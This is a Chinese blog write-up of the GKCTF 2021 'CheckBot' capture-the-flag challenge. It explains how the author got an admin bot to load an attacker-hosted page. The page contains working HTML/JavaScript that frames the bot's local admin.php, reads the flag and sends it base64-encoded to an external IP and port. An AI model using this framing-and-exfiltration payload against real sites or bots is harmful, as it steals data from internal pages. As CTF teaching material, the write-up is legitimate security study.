[GKCTF 2021]CheckBot

最新推荐文章于 2023-02-27 11:17:38 发布

lmonstergg

最新推荐文章于 2023-02-27 11:17:38 发布

阅读量2.8k

点赞数 1

分类专栏： csrf web学习文章标签：安全

本文链接：https://blog.csdn.net/cjdgg/article/details/121504021

版权

web学习同时被 2 个专栏收录

39 篇文章 1 订阅

订阅专栏

csrf

1 篇文章 0 订阅

订阅专栏

[GKCTF 2021]CheckBot

这题一进去源代码处有提示，把uri通过post方式给它
在这里插入图片描述

在admin.php处发现flag，但应该要本地访问才行，这题bot会点击我们发过去的链接，那就整个csrf吧

把下面的代码放在自己的vps上，然后把网址发过去让bot去访问，bot访问后会把flag发到我们监听的端口这，就可以成功获取flag

<html>
        <body>
                <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
                <script>
                        window.onload = function(){
                        /* Prepare flag */
                        let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                        /* Export flag */
                        var exportFlag = new XMLHttpRequest();
                        exportFlag.open('get', 'http://42.193.22.50:6663/flagis-' + window.btoa(flag));
                        exportFlag.send();
                        }
                </script>
        </body>
</html>

在这里插入图片描述
这里发过去也提示了要等一会，这里确实得有点耐心

总结
这题考点是csrf，比较少见，这里贴个链接可以学习下CSRF

lmonstergg

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
[GKCTF 2021]CheckBot

[GKCTF 2021]CheckBot<html> <body> <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe> <script> window.onload = function(){ /*
复制链接

扫一扫

专栏目录